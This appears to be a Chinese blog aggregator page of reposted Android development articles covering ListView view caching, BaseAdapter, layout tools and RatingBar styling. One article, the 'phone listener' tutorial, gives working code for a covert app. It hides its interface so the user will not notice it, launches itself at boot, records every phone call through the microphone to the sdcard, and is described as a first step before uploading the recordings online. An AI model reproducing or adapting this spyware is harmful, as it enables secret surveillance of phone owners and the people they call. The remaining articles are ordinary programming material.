[转载]Android开发小知识文章目录

mikel阅读(810)

[转载]Android开发小知识文章目录 – qixiinghaitang – 博客园.

1

缩小Android模拟器的显示尺寸

2

图解LogCat的用法

3

学习Android界面设计的超级利器HierarchyView.bat

4

android:gravity和android:layout_gravity区别

5

Android界面开发推荐颜色

6

如何在Android模拟器中安装和卸载程序

7

初学解惑,最新的Android开发工具包可以用来开发老版本的程序吗?

8

使用ScrollView实现滚动效果

9

在Android中制作没有标题条的窗口

10

如何在Eclipse中看Android2.2的源码

11

在Android中使用自定义图片按钮

12

获取别人Android程序中的图片资源的方法

13

Android2.2系统中自带的图片资源

14

Android2.2中系统自带样式styles.xml的源代码

15

Android2.2中系统自带主题themes.xml的源代码

16

去移动MM学院开发人员在线考试测一下自己的分数

17

Android2.2中match_parent和fill_parent是一个意思

18

Android源代码下载指南(图解)

[转载]11款有用的Web开发在线工具

mikel阅读(753)

[转载]11款有用的Web开发在线工具_IT新闻_博客园.

作为Web开发者,我发现我非常依赖于一些在线工具。在线工具通常是易于创建和使用,并且可以使工作表现的更好、更快。

比如htaccess generator、JSON formatter。以下是我分享的一些新的、有趣的在线工具。

Font comparer

clip_image001

仅是输入一些文字,,来查看它的不同样式。

Color Explorer

clip_image002

通过ColorExplorer,你可以快速、轻松的创建、管理和评估调色,当你使用图片设计、Web设计、布局等时。

SpriteBox

clip_image003

SpriteBox是个WYSIWYG工具,来帮助Web开发者快速、轻松的创建CSS类。

Gridulator

clip_image004

Gridulator可以快速创建网格布局,在png上,帮助你进行Web布局。你会发现photoshop都不顶用的功能。

Markup.io

clip_image005

Markup可以让你通过一组工具在任何的网页上勾画等简单编辑,来表达你的想法。然后你可以通过书签工具栏来在任何时候掉使用它。

Spritebaker

clip_image006

一款针对web开发者和设计师的免费工具。它解析你的css,通过外部媒体“baked”返回一个副本,作为Base64编码数据集。消耗Http请求的时间将大量缩减,大量提升速度(服务器端必须gzip压缩)。

ProCSSor

clip_image007

高级CSS“美化师”,通过严格的方式格式化CSS。 将你的CSS转化为更引人注目的东西,只需一点点的努力。

Minus

clip_image008

拖曳的快速分享工具。

CopyPaste Character

clip_image009

复制、粘贴Web特殊字符的工具。

Name Check

clip_image010

检查你想要的昵称是否能注册的工具,支持数十个流行的社交网站。通过namechk找到最佳用户名。

Scrim

clip_image011

转化email地址为短域名,你可以在各类网站分享它,并且可以规避暴漏邮箱地址,而导致垃圾邮件泛滥。

原文:http://www.queness.com/post/7018/11-useful-online-tools-for-web-development

[转载]Android ListView性能优化之视图缓存(续)

mikel阅读(994)

[转载][Android]ListView性能优化之视图缓存(续) – 农民伯伯 – 博客园.

前言

在上一篇ListView性能优化之视图缓存我们讨论了Google I/O中的优化方法,在各个论坛发帖后得到了不错的反馈,诸如:使用ViewHolder技术Tag的问题,利用HashMap自行存储的方案等。这里结合新浪微博中主界面的做法及测试数据与大家进一步探讨。

声明

欢迎转载,但请保留文章原始出处:)

博客园:http://www.cnblogs.com

农民伯伯: http://over140.cnblogs.com

文章

[Android]ListView性能优化之视图缓存 [本文的上篇]

[Android]ListView性能优化之视图缓存 [JavaEye讨论帖]

正文

一、新浪微博

1.1  截图

(来自网络)

1.2  反编译后相关代码

public View getView(int paramInt, View paramView, ViewGroup paramViewGroup)
{
int i = --paramInt;
int j = -1;
if (i == j);
for (Object localObject1 = HomeListActivity.this.getReloadView(); ; localObject1 = HomeListActivity.this.getLoadMoreView())
{
label26: return localObject1;
int k = HomeListActivity.this.mList.size();
int l = paramInt;
int i1 = k;
if (l != i1)
break;
}
boolean bool1 = true;
boolean bool2 = null;
String str1;
label110: Object localObject2;
if (StaticInfo.mUser == null)
{
List localList1 = HomeListActivity.this.mList;
int i2 = paramInt;
str1 = ((MBlog)localList1.get(i2)).uid;
List localList2 = HomeListActivity.this.mList;
int i3 = paramInt;
String str2 = ((MBlog)localList2.get(i3)).uid;
String str3 = str1;
if (!str2.equals(str3))
break label271;
int i4 = 1;
label156: if (paramView != null)
break label277;
HomeListActivity localHomeListActivity1 = HomeListActivity.this;
ListView localListView1 = HomeListActivity.this.mLvHome;
List localList3 = HomeListActivity.this.mList;
int i5 = paramInt;
MBlog localMBlog1 = (MBlog)localList3.get(i5);
HomeListActivity localHomeListActivity2 = HomeListActivity.this;
int i6 = paramInt;
boolean bool4 = localHomeListActivity2.isNewCommer(i6);
int i7 = HomeListActivity.this.mReadMode;
localObject2 = new MBlogListItemView(localHomeListActivity1, localListView1, localMBlog1, bool1, bool2, i4, bool4, i7);
}
while (true)
{
localObject1 = localObject2;
break label26:
str1 = StaticInfo.mUser.uid;
break label110:
label271: boolean bool3 = null;
break label156:
label277: localObject2 = paramView;
try
{
MainListItemView localMainListItemView = (MainListItemView)localObject2;
List localList4 = HomeListActivity.this.mList;
int i8 = paramInt;
Object localObject3 = localList4.get(i8);
HomeListActivity localHomeListActivity3 = HomeListActivity.this;
int i9 = paramInt;
boolean bool5 = localHomeListActivity3.isNewCommer(i9);
int i10 = HomeListActivity.this.mReadMode;
boolean bool6 = bool1;
boolean bool7 = bool2;
localMainListItemView.update(localObject3, bool6, bool7, bool5, i10);
}
catch (Exception localException)
{
HomeListActivity localHomeListActivity4 = HomeListActivity.this;
ListView localListView2 = HomeListActivity.this.mLvHome;
List localList5 = HomeListActivity.this.mList;
int i11 = paramInt;
MBlog localMBlog2 = (MBlog)localList5.get(i11);
HomeListActivity localHomeListActivity5 = HomeListActivity.this;
int i12 = paramInt;
boolean bool8 = localHomeListActivity5.isNewCommer(i12);
int i13 = HomeListActivity.this.mReadMode;
localObject2 = new MBlogListItemView(localHomeListActivity4, localListView2, localMBlog2, bool1, bool2, bool3, bool8, i13);
}
}
}

代码说明:

代码流程已经比较混乱,但是这里能看到并没有直接的inflate,而是自定义了继承自LinearLayout的MBlogListItemView。

MBlogListItemView
public MBlogListItemView(Context paramContext, ListView paramListView, MBlog paramMBlog, boolean paramBoolean1, boolean paramBoolean2, boolean paramBoolean3, boolean paramBoolean4, int paramInt)
{
super(paramContext);
this.context = paramContext;
this.parent = paramListView;
this.mBlog = paramMBlog;
String str1 = paramContext.getCacheDir().getAbsolutePath();
this.mCacheDir = str1;
String str2 = paramContext.getFilesDir().getAbsolutePath();
this.mFileDir = str2;
((LayoutInflater)paramContext.getSystemService("layout_inflater")).inflate(2130903061, this);
TextView localTextView1 = (TextView)findViewById(2131624016);
this.mName = localTextView1;
TextView localTextView2 = (TextView)findViewById(2131624041);
this.mDate = localTextView2;
TextView localTextView3 = (TextView)findViewById(2131624018);
this.mContent = localTextView3;
TextView localTextView4 = (TextView)findViewById(2131624046);
this.mSubContent = localTextView4;
ImageView localImageView1 = (ImageView)findViewById(2131624040);
this.mIconV = localImageView1;
ImageView localImageView2 = (ImageView)findViewById(2131624042);
this.mIconPic = localImageView2;
ImageView localImageView3 = (ImageView)findViewById(2131624044);
this.mUploadPic1 = localImageView3;
ImageView localImageView4 = (ImageView)findViewById(2131623979);
this.mUploadPic2 = localImageView4;
TextView localTextView5 = (TextView)findViewById(2131624047);
this.tvForm = localTextView5;
TextView localTextView6 = (TextView)findViewById(2131623989);
this.tvComment = localTextView6;
this.tvComment.setOnClickListener(this);
TextView localTextView7 = (TextView)findViewById(2131623988);
this.tvRedirect = localTextView7;
this.tvRedirect.setOnClickListener(this);
ImageView localImageView5 = (ImageView)findViewById(2131624049);
this.imComment = localImageView5;
this.imComment.setOnClickListener(this);
ImageView localImageView6 = (ImageView)findViewById(2131624048);
this.imRedirect = localImageView6;
this.imRedirect.setOnClickListener(this);
ImageView localImageView7 = (ImageView)findViewById(2131624043);
this.imGpsIcon = localImageView7;
ImageView localImageView8 = (ImageView)findViewById(2131624013);
this.mPortrait = localImageView8;
LinearLayout localLinearLayout = (LinearLayout)findViewById(2131624045);
this.mSubLayout = localLinearLayout;
this.mReadMode = paramInt;
MBlogListItemView localMBlogListItemView = this;
MBlog localMBlog = paramMBlog;
boolean bool1 = paramBoolean1;
boolean bool2 = paramBoolean2;
boolean bool3 = paramBoolean4;
int i = paramInt;
localMBlogListItemView.update(localMBlog, bool1, bool2, bool3, i);
this.mUploadPic1.setOnClickListener(this);
this.mUploadPic2.setOnClickListener(this);
}

    代码说明:

      a).  MBlogListItemView extends LinearLayout implements MainListItemView
      b).  inflate(2130903061,this)这个数字代表R.layout.itemview。
 二、测试方案(方案五)

    按照新浪微博类似的做法进行测试。

    2.1  测试代码

@Override
public View getView(int position, View convertView, ViewGroup parent) {
// 开始计时
long startTime = System.nanoTime();

TestItemLayout item;
if (convertView == null) {
item = new TestItemLayout(BaseAdapterActivity.this);
} else
item = (TestItemLayout) convertView;
item.icon1.setImageResource(R.drawable.icon);
item.text1.setText(mData[position]);
item.icon2.setImageResource(R.drawable.icon);
item.text2.setText(mData[position]);

// 停止计时
long endTime = System.nanoTime();
// 计算耗时
long val = (endTime – startTime) / 1000L;
Log.e(“Test”, “Position:” + position + “:” + val);
if (count < 100) { if (val < 2000L) { sum += val; count++; } } else mTV.setText(String.valueOf(sum / 100L) + ":" + nullcount);// 显示统计结果 return item; } [/java]   TestItemLayout [java] public class TestItemLayout extends LinearLayout { public TextView text1; public ImageView icon1; public TextView text2; public ImageView icon2; public TestItemLayout(Context context) { super(context); ((LayoutInflater) context .getSystemService(Context.LAYOUT_INFLATER_SERVICE)).inflate( R.layout.list_item_icon_text, this); icon1 = (ImageView) findViewById(R.id.icon1); text1 = (TextView) findViewById(R.id.text1); icon2 = (ImageView) findViewById(R.id.icon2); text2 = (TextView) findViewById(R.id.text2); } } [/java] 2.2  测试结果

次数 4个子元素 10个子元素
第一次 347 460
第二次 310 477
第三次 324 508
第四次 339 492
第五次 341 465

三、总结

从测试结果来看与ViewHolder性能非常接近,不会出现tag图片变小的问题(关于图片变小的问题,有朋友说是TAG中的元素对大小和位置有记忆),也能有效的减少findViewById的执行次数,这里建议完全可以取代ViewHolder。

关于ListView内部Adapter的心得大家可以看一下上文的总结4.1。

四、考虑

关于静态内部类这里不是很理解,是否能应用方案五还有待验证。

结束

优化ListView不仅仅只有对convertView的优化,还有许多这样那样的技巧,欢迎大家交流与分享 🙂

[转载](Android小应用)电话监听器

mikel阅读(1162)

[转载](Android小应用)电话监听器 – And_He – 博客园.

这是一个Android练手小项目,通过一个BroadcastReceiver广播接 收者监听手机启动状态,实现开机启动。因为是电话监听器,所以我们不能让用户察觉,所以不能有软件界面,这是要点,不然也不叫监听器了,主要实现的功能有 对所有语音通话进行录制并上传到网上,好了,不废话了,下面一步一步地写……

首先,我们先来了解一下Service服务

Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:
第一步:继承Service类
public class PhoneListenerService extends Service {...}
第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:
<service android:name="PhoneListenerService"></service>
这里推荐使用eclipse图形化的界面添加
如上图所示,可以添加Service、Permission、BroadcastReceiver等,感兴趣可以自己试一下。
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这 两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者 退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须 同时死”的特点。
如果打算采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的 onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用 startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务, 只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
如果打算采用Context.bindService()方法启动服务,在服务未被创建时,系统会先调用服务的 onCreate()方法,接着调用onBind()方法。这个时候调用者和服务绑定在一起,调用者退出了,系统就会先调用服务的onUnbind()方 法,接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致 多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务解除绑定,可以调用 unbindService()方法,调用该方法也会导致系统调用服务的onUnbind()–>onDestroy()方法。
服务常用生命周期回调方法如下:

onCreate() //该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService() 或bindService()方法,服务也只被创建一次。 onDestroy()//该方法在服务被终止时调用。

与采用Context.startService()方法启动服务有关的生命周期方法
onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务,但onStart() 方法会被多次调用。
与采用Context.bindService()方法启动服务有关的生命周期方法
onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。
onUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。
OK,了解了服务,现在开始来开发这个小应用了……
首先在eclipse中新建一个项目,我的命名为:phonelistener,直接截图
因为我们在创建项目的时候必须要填上一个Activity,我就先随便填一个Activity界面,因为这个电话监听器不能让用户察觉,所以不能有界面的,待会儿在功能清单文件中删除。
接下来,我们添加一个服务类:PhoneListenerService,当调用这个服务类的方法的时候,我们实现监听的所有内容
package com.studio.listener; import java.text.SimpleDateFormat; import java.util.Date; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class PhoneListenerService extends Service { private String TAG = "PhoneListenerService";//这里设置一个Log标志,方便于调试 @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } /** * 此处复写onCreate()方法,当这个服务被创建的时候就实现监听 */ @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); /* 取得电话服务 */ TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); PhoneStateListener listener = new PhoneStateListener() { private String number;//定义一个监听电话号码 private boolean isRecord;//定义一个当前是否正在复制的标志 private MediaRecorder recorder;//媒体复制类 @Override public void onCallStateChanged(int state, String incomingNumber) { switch (state) { case TelephonyManager.CALL_STATE_IDLE:/* 无任何状态 */ number = null; if (recorder != null && isRecord) { Log.i(TAG, "录音完成");//设定一个录音完成的标志,方便调试 recorder.stop();//录音完成 recorder.reset(); recorder.release(); isRecord = false;//录音完成,改变状态标志 } break; case TelephonyManager.CALL_STATE_OFFHOOK:/* 接起电话 */ // 录制声音,这是录音的核心代码 try { Log.i(TAG, "开始录音"); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 定义声音来自于麦克风 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//我们定义存储格式为3gp recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//定我编码 SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//此处定义一个format类,方便对录音文件进行命名 String fileName = this.number + "_" + format.format(new Date()); /* 定义录音文件的输出路径,这里我们先保存到sdcard */ recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()+ "/" + fileName + ".3gp"); recorder.prepare(); recorder.start(); // 开始刻录 isRecord = true; } catch (Exception e) { Log.e(TAG, e.toString()); } break; case TelephonyManager.CALL_STATE_RINGING:/* 电话进来 */ this.number = incomingNumber; break; default: break; } } }; // 监听电话的状态 telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); Log.i(TAG, "服务已经启动"); } }
服务类写好了,记得要在功能清单文件中注册它,千万不要忘了……
<service android:name="PhoneListenerService"></service>
服务写好了,然后再来写一个广播接收器,以便于接收手机开机时的状态,监听到手机启动了的时候就启动我们的服务……
package com.studio.listener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Intent service = new Intent(context, PhoneListenerService.class);//定义一个意图 context.startService(service);//开启服务 } }
这里面很简单,当我们的广播接收者接收到某个状态时就启动我们刚才定义的Service
下面在功能清单中配置
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.studio.listener" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="10" /> <!-- 对外部存储设备的写入权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission> <!-- 对外部文件的写入和删除权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission> <!-- 音频刻录权限 --> <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission> <!-- 接收手机完全开启状态权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission> <!-- 读取电话状态权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <application android:icon="@drawable/icon" android:label="@string/app_name"> <service android:name="PhoneListenerService"></service> <receiver android:name="BootBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"></action> </intent-filter> </receiver> </application> </manifest>
此功能清单中我已经把<Activity…/>的内容去掉了,因为我们不需要界面。反此应用安装到模拟器,然后关掉模拟器重新启动,可以用DDMS里面的有一个功能向我们的模拟器打电话的
因为我这里现在没有启动模拟器,所以是灰色的。在Incoming number后面输入5554,然后点击下面的call就可以呼叫了,当然也可以另外再开一个模拟器对5554进行呼叫,这样比较麻烦。
如果此处出现我们当在服务里面添加的TAG的话就表示成功了,然后查看sdcard是否有我们想要的录音文件,有就Ok了……
接下来我们要实现把这样一个音频文件上传到网络上的指定位置,然后删除sdcard上的音频文件,比较接近“监听”了……

[转载]Android中文合集(5)(126+8篇)(chm格式)

mikel阅读(1315)

[转载]Android中文合集(5)(126+8篇)(chm格式) – 农民伯伯 – 博客园.

前言

Android中文翻译组是一个非盈利性质的开源组织,聚一批开发人员、大学生、研究生等Android爱好者,利用业余时间对Android相关的API及开发者指南等进行翻译,至今已超过200人报名参与,欢迎加入,联系Mailover140@gmail.com关于翻译组的更多介绍,请看这里

本合集包含126章节API8章开发者指南。

声明

欢迎转载,但请保留文章原始出处:)

博客园:http://www.cnblogs.com/

Android中文翻译组:http://goo.gl/6vJQl

正文

一、截图

二、 章节

三、 名单

本合集参与章节翻译名单:移动云_文斌深夜未眠xiaoQLugansc23AtomicAmanAndroid Club SYSUcnmahjcoficeHalZhanghenly.zhangjiahuibinKunloveshirui madgoatpengyouhongTinawallace20100_1凌云健笔逝憶流緣天涯明月刀Haiya 胡蝶、桂仁、唐明、颖哥儿、思考的狼德罗德、首当其冲、CN七号、麦子獨鍆躌踄我是谁、一昕、六必治农民伯伯

四、共享

无论你是个人还是团队,不管是否加入我们,如果翻译Android官方相关文章,请与我们分享进度,把你翻译的章节发邮箱到over140@gmail.com ,以免重复翻译。我们的进度:这里(以“进度_”开头的Excel文件)。

五、招募自愿者

文档翻译员,要求:

1. 有耐心,这是一场持久战,需要大家的坚持。

2. 有态度,认真对待每一篇译稿。

3. 会英语,至少在翻译工具的帮助下能读懂英文原文。

[]审核员,要求:

1.  脾气好,审稿过程中需要和组员沟通,需要好脾气来沟通。

2.  技术好,工作经验2年以上,Android经验半年以上,对技术有自己的理解。

3.  英语好,英语6级以上,有相关翻译经验更佳。

4.  原则上每周能审稿至少1篇。

五、下载

chm格式

Android中文翻译组-中文合集5

pdf格式

Android中文合集.pdf

注意

如果打不开chm格式合集,请在chm文件上点击右键,选择属性,在弹出的对话框中,点击“解除锁定”,就可以了。

结束

虽然合集5与合集4相比增加的章节并不多,但是大家仍然是挤时间在支持,我们相信——坚持就是胜利!

[转载]Android基础类之BaseAdapter

mikel阅读(1024)

[转载]Android基础类之BaseAdapter – 宁 静 致 远 – 博客园.

BaseAdapter就Android应用程序中经常用到的基础数据适配器,它的主要用途是将一组数据传到像ListView、Spinner、Gallery及GridView等UI显示组件,它是继承自接口类Adapter,
1、Adapter类简介
1)、Adapter相关类结构如下图所示:
Adapter
自定义Adapter子类,就需要实现上面几个方法,其中最重要的是getView()方法,它是将获取数据后的View组件返回,如ListView中每一行里的TextView、Gallery中的每个ImageView。
2)、Adapter在Android应用程序中起着非常重要的作用,应用也非常广泛,它可看作是数据源和UI组件之间的桥梁,其中Adapter、数据和UI之间的关系,可以用下图表示:
t2A9A
3)、常用子类
Adapter常用子类
2、BaseAdapter简介
BaseAdapter是实现了ListAdapter和SpinnerAdapter两个接口,当然它也可以直接给ListView和Spinner等UI组件直接提供数据。
相关类结构如下图所示:
tCCA2
3、示例
示例一:Gallery显示一组图片
运行结果:

说明:上面一行图片是Gallery画廊,每次点击一个Gallery图片时,会同时在下面以大图形式显示出来该图片
布局文件:
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/hello" /> <Gallery android:id="@+id/gallery1" android:layout_width="match_parent" android:spacing="5px" android:layout_height="wrap_content" ></Gallery> <ImageView android:id="@+id/iv" android:layout_gravity="center_vertical" android:layout_marginTop="20px" android:layout_width="320px" android:layout_height="320px" ></ImageView> </LinearLayout>
MainActivity类:
package com.magc.adapter; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.ViewGroup; import android.view.View.OnClickListener; import android.widget.AdapterView; import android.widget.BaseAdapter; import android.widget.Gallery; import android.widget.ImageView; import android.widget.AdapterView.OnItemClickListener; public class MainActivity extends Activity { private Gallery gallery; private ImageView imgview; private int[] imgs = {R.drawable.a6,R.drawable.a1,R.drawable.a2,R.drawable.a3,R.drawable.a4,R.drawable.a5}; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); imgview = (ImageView)findViewById(R.id.iv); gallery = (Gallery)findViewById(R.id.gallery1); MyImgAdapter adapter = new MyImgAdapter(this); gallery.setAdapter(adapter); gallery.setOnItemClickListener(new OnItemClickListener() { //用户点击图片时,将该图片的ResourceID设到下面的ImageView中去, @Override public void onItemClick(AdapterView<?> arg0, View view, int position, long arg3) { imgview.setImageResource(imgs[position]); } }); } class MyImgAdapter extends BaseAdapter {      //自定义图片Adapter以内部类形式存在于MainActivity中,方便访问MainActivity中的各个变量,特别是imgs数组 private Context context;//用于接收传递过来的Context对象 public MyImgAdapter(Context context) { super(); this.context = context; } /* (non-Javadoc) * @see android.widget.Adapter#getCount() */ @Override public int getCount() { return imgs.length; } /* (non-Javadoc) * @see android.widget.Adapter#getItem(int) */ @Override public Object getItem(int position) { return position; } /* (non-Javadoc) * @see android.widget.Adapter#getItemId(int) */ @Override public long getItemId(int position) { return position; } /* (non-Javadoc) * @see android.widget.Adapter#getView(int, android.view.View, android.view.ViewGroup) */ @Override public View getView(int position, View convertView, ViewGroup parent) { //针对每一个数据(即每一个图片ID)创建一个ImageView实例, ImageView iv = new ImageView(context);//针对外面传递过来的Context变量, iv.setImageResource(imgs[position]); Log.i("magc", String.valueOf(imgs[position])); iv.setLayoutParams(new Gallery.LayoutParams(80, 80));//设置Gallery中每一个图片的大小为80*80。 iv.setScaleType(ImageView.ScaleType.FIT_XY); return iv; } } }
示例2:通过一个提示框来选择头像的功能(Gallery和ImageSwitcher结合显示图片)
待续……

[转载]android UI进阶之布局的优化

mikel阅读(896)

[转载]android UI进阶之布局的优化 – noTice520 – 博客园.

欢迎转载,但是请保留出处。http://www.cnblogs.com/noTice520/

好久没更新博客了,趁着清明来写点什么。

今天来讲下如何使用Android中提供的工具优化我们的布局。首先我们写一个最简单的框架布局。

<?xml version="1.0" encoding="utf-8"?>
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="300dip"
android:layout_height="300dip"
android:background="#00008B"
android:layout_gravity="center"
/>
<TextView
android:layout_width="250dip"
android:layout_height="250dip"
android:background="#0000CD"
android:layout_gravity="center"
/>
<TextView
android:layout_width="200dip"
android:layout_height="200dip"
android:background="#0000FF"
android:layout_gravity="center"
/>
<TextView
android:layout_width="150dip"
android:layout_height="150dip"
android:background="#00BFFF"
android:layout_gravity="center"
/>
<TextView
android:layout_width="100dip"
android:layout_height="100dip"
android:background="#00CED1"
android:layout_gravity="center"
/>
</FrameLayout>


非常简单的一个布局,实现一个层叠的效果,运行效果如下图:

下面我们就用Android中提供的一个观察布局的工具,层级观察器,Hierarchy Viewer来观察我们的布局。Hierarchy Viewer工具是一个非常好的布局优化工具,同时,你也可以通过它学习他人的布局。应该说是一个非常实用的工具。

   Hierarchy Viewer在sdk的tools目录下,打开后最新界面如图所示:

  界面很简洁,列出了当前设备上的进程,在前台的进程加粗显示。上面有三个选项,分别是刷新进程列表,将层次结构载入到树形图,截取屏幕到一个拥有像素栅格的放大镜中。对应的在左下角可以进行三个视图的切换。在模拟器上打开写好的框架布局,在页面上选择,点击Load View,进入如图所示界面。

  左边的大图为应用布局的树形结构,上面写有控件名称和id等信息,下方的圆形表示这个节点的渲染速度,从左至右分别为测量大小,布局和绘制。绿色最快,红色最慢。右下角的数字为子节点在父节点中的索引,如果没有子节点则为0。点击可以查看对应控件预览图、该节点的子节点数(为6则有5个子节点)以及具体渲染时间。双击可以打开控件图。右侧是树形结构的预览、控件属性和应用界面的结构预览。点击相应的树形图中的控件可以在右侧看到他在布局中的位置和属性。工具栏有一系列的工具,保存为png或者psd,刷新等工具。其中有个load overlay选项可以加入新的图层。当你需要在你的布局中放上一个bitmap,你会用到它来帮你布局。点击左下角的第三个图标切换到像素视图,如下图所示。

  视图左侧为View和ViewGroup关系图,点击其中的View会在右边的图像中用红色线条为我们选中相应的View。最右侧为设备上的原图。中间为放大后带像素栅格的图像,可以在Zoom栏调整放大倍数。在这里能定位控件的坐标,颜色。观察布局就更加的方便了。

接下来再介绍下另一个布局优化工具-layoutopt。这是android为我们提供的布局分析工具。它能分析指定的布局,然后提出优化建议。  

  要运行它,打开命令行进入sdk的tools目录,输入layoutopt加上你的布局目录命令行。运行后如图所示,框出的部分即为该工具分析布局后提出的建议,这里为建议替换标签。

下面列出一些常会碰到的输出:

$ layoutopt samples/
samples/compound.xml
7:23 The root-level can be replaced with
11:21 This LinearLayout layout or its FrameLayout parent is useless
samples/simple.xml 提示未使用到该布局
7:7 The root-level can be replaced with
samples/too_deep.xml
-1:-1 This layout has too many nested layouts: 13 levels, it should have <= 10! 20:81 This LinearLayout layout or its LinearLayout parent is useless 24:79 This LinearLayout layout or its LinearLayout parent is useless 28:77 This LinearLayout layout or its LinearLayout parent is useless 32:75 This LinearLayout layout or its LinearLayout parent is useless 36:73 This LinearLayout layout or its LinearLayout parent is useless 40:71 This LinearLayout layout or its LinearLayout parent is useless 44:69 This LinearLayout layout or its LinearLayout parent is useless 48:67 This LinearLayout layout or its LinearLayout parent is useless 52:65 This LinearLayout layout or its LinearLayout parent is useless 56:63 This LinearLayout layout or its LinearLayout parent is useless samples/too_many.xml 7:413 The root-level can be replaced with
-1:-1 This layout has too many views: 81 views, it should have <= 80! samples/useless.xml 提示该布局中有太多的控件 7:19 The root-level can be replaced with
11:17 This LinearLayout layout or its FrameLayout parent is useless

通过这个工具,能很好的优化我们的UI设计,布局方法。好了,今天就写到这里了。希望对大家有帮助,有问题可以留言交流~这里说下有的网站转载了我的文章,我很开心。但是都不留个出处,那就不太好了。所以欢迎转载,但是请保留出处。http://www.cnblogs.com/noTice520/

[转载]Android的RatingBar的自定义效果

mikel阅读(927)

[转载]RatingBar的自定义效果 – 没有代码 – 博客园.

首先看看效果:

有时候Android系统提供给我们的ratingbar效果并不达到我们的要求,这个时候就可以自定义自己喜欢的ratingbar。

从上面的效果可以看出,自定义这样的组件,需要两张图片: 。一张用来未选择的效果,一张用来显示的效果。那还要中间那种一半是未选择一半时选择的呢?其实当你写好这样的组件后,系统就会自动帮你自动解析生成那种效果。

整个项目布局:

我们一步一步来分析:

<RatingBar

style=“@style/roomRatingBar”

Android:layout_marginLeft=“10dip”

android:layout_width=“wrap_content” android:layout_height=“wrap_content”

android:id=“@+id/room_ratingbar”></RatingBar>

从上面可看出自定义ratingbar主要是这段style=“@style/roomRatingBar” ,好我们去找到这段代码

/////////styles.xml

<?xml version=“1.0” encoding=“utf-8”?>

<resources>

<style name=“roomRatingBar” parent=“@android:style/Widget.RatingBar”>

<item name=“android:progressDrawable”>@drawable/room_rating_bar</item>

<item name=“android:minHeight”>16dip</item>

<item name=“android:maxHeight”>16dip</item>

</style>

</resources>

上面的意思是继承@android:style/Widget.RatingBar,重写android:progressDrawable属性,换成我们自定义@drawable/room_rating_bar文件。

控制该组件的最大和最小高度。好我们继续去找这自定义文件@drawable/room_rating_bar。

///// room_rating_bar.xml

<?xml version=“1.0” encoding=“utf-8”?>

<!–

This is the rating bar drawable that is used to show a room num.

–>

<layer-list xmlns:android=“http://schemas.android.com/apk/res/android”>

<item android:id=“@+android:id/background”

android:drawable=“@drawable/room_unselect”></item>

<item android:id=“@+android:id/secondaryProgress”

android:drawable=“@drawable/room_unselect”></item>

<item android:id=“@+android:id/progress”

android:drawable=“@drawable/room_select”></item>

</layer-list>

好了,越来越接近真相了。这里就是定义组件的背景图片、一级进度背景图片和二级进度背景图片(里面这些id都是系统的id,当系统运行到这里时会自动根据这个id去重画组件)

讲到这里大概明白怎么用了。其实很多组件都可以通过这样的方法来使用,但如果明白整个过程,那以后做起其他来都至少有一点得心应手的感觉吧。好!下来我也只能说说我的见解,因为本人对android的理解也不是很深入。

